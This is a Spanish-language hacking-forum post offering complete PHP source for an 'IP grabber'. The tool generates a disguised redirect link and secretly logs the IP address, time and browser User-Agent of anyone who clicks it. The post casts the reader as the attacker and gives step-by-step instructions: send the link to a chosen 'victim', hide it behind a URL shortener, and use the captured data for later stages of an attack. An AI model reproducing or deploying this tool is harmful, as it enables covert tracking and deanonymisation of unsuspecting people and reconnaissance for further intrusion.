IP Grabber PHP

Iniciado por remiotore, Mayo 08, 2018, 08:54:05 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 08, 2018, 08:54:05 PM Ultima modificación: Mayo 09, 2018, 08:03:53 AM por sadfud
Buenas noches, compañerxs de Underc0de.
Hace unos días leí un articulo en el que se planteaba la manera de averiguar la IP de un usuario de Whatsapp. En este se ofrecía un código muy sencillo y algo "aburrido" así que decidí modificarlo y este fue el resultado:

index.php
Código: php

<?php

if (!empty($_POST)){
echo '<h1>Bienvenidx, ' . htmlspecialchars($_POST["client"]) . '!</h1>';
echo '<br>La víctima será redirigida a <b>'. htmlspecialchars($_POST["url"]) . '</b>!<br><br>';
$VLINK = "/grabber.php?url=" . htmlspecialchars($_POST["url"]);
echo "<a href='" . $VLINK . "'>¡Enlace para la víctima! No lo clickes... ಠ╭╮ಠ</a>";


echo "<h3>Más resultados para " . htmlspecialchars($_POST["url"]) . "</h3>";
echo "<table border='1'>";
echo "<thead>";
echo "<tr>";
echo "<th>IP Víctima</th>";
echo "<th>Fecha</th>";
echo "<th>Requested URI</th>";
echo "<th>Method</th>";
echo "<th>User-Agent</th>";
echo "</tr>";
echo "</thead>";
echo "<tbody>";

foreach(file('log') as $line) {
if (strpos($line, htmlspecialchars($_POST["url"])) !== false) {
echo $line . "\n";
}
}

echo "</tbody>";
echo "</table>";
echo "<br />";
echo "<center> <input type='button' value='ReLoad' onclick='window.location.reload()' > </center>";


}else{
echo "<h1>URL REDIRECTER!</h1>";

echo "<h2>¡Bienvenidx a nuestra página web!</h2><br>";
echo "Introduce el enlace a cualquier web que desee que la víctima sea redirigidx.<br>";
echo "La víctima acederá a esa dirección y obtendremos información acerca de su dispositivo <b>(IP, Browser, etc)</b>.<br>";
echo "Recargando la página será capaz de ver qué IP's han accedido a ese enlace según la fecha.<br><br>";

echo '<form action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '"" method="post">
URL: <input type="text" name="url">
<input type="hidden" name="client" value="' . htmlspecialchars($_SERVER["REMOTE_ADDR"]) . '" >
<input type="submit">
</form>';
}

?>


grabber.php
Código: php

<?php

if (getenv('HTTP_CLIENT_IP'))
    $VICTIM = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
    $VICTIM = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
    $VICTIM = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
    $VICTIM = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
   $VICTIM = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
    $VICTIM = getenv('REMOTE_ADDR');
else
    $VICTIM = 'UNKNOWN';

if (isset($_GET['url'])){
$URL = $_GET['url'];
if(substr( $URL, 0, 4 ) !== 'http'){
$URL = 'http://' . $URL;
}
}else{
$URL = 'https://www.google.com';
}

$FILE="log";

$BANNED_IP="127.0.0.1";

$NOW = date_format(new DateTime(), 'd/m/Y H:i:s');

//if ($VICTIM !== $BANNED_IP){
$txt =  "<tr>" .
"<th>" . $VICTIM . "</th>" .
"<th>" . $NOW . "</th>" .
"<th>" . $_SERVER['REQUEST_URI'] . "</th>" .
"<th>" . $_SERVER['REQUEST_METHOD'] . "</th>" .
"<th>" . $_SERVER['HTTP_USER_AGENT'] . "</th>" .
"</tr>";

    $myfile = file_put_contents($FILE, $txt.PHP_EOL , FILE_APPEND);
//}

header('Location: ' . $URL);
exit;

?>



Modo de Empleo:

Si somos los atacantes, accedemos al índice y se nos mostrará la siguiente pantalla:



En ella introducimos la URL a la que queremos que acceda la víctima. En este caso, la web debe ser alguna que pueda interesarle a la víctima, sino, como es lógico, no servirá de nada porque probablemente no abra el enlace.
Utilizaremos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta como prueba.

Veremos la siguiente pantalla:



Como podemos ver en ella hay un enlace. NO DEBEMOS ABRIRLO ya que si lo hiciéramos, nuestra IP quedaría registrada y ese no es el objetivo.
Tras enviárselo a nuestra víctima, refrescamos la página pulsando el botón que hay.

El resultado será este:



Si nos fijamos un poco más veremos que el enlace generado es "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Podríamos modificarlo manualmente y reenviarlo a distintas personas añadiendo el link al final de "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" .

Post-Script:
Es posible que haya problemas a la hora de guardar los resultados en el fichero de salida llamado en este ejemplo "log".
Eso puede deberse a los permisos de las carpetas y de los usuarios. Probado en un Linux Mint, no hubo problema alguno tras crear el fichero (touch log) y cambiarle el propietario (chown www-data:www-data log) dentro de la carpeta raiz de la web(/var/www/html/).
En XAMPP no tuve problemas y en una web de hosting gratuita cuyo nombre he olvidado tampoco.

Cosas a recordar:

  • El enlace queda tal que así "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" y es algo sospechoso. Lo apropiado sería ocultarlo con algún URL Shortener de esos que hay por ahí. O acortarlo vosotrxs mismxs.
  • No es la mejor herramienta del mundo pero puede ser interesante para averiguar qué sistema, versión y navegador, además de la IP, está usando la persona que lo ha abierto. Esto puede ser determinante en futuras fases de un ataque.

Podéis probarlo en el siguiente link:
Editado
Muchas gracias por vuestra atención! Un saludo!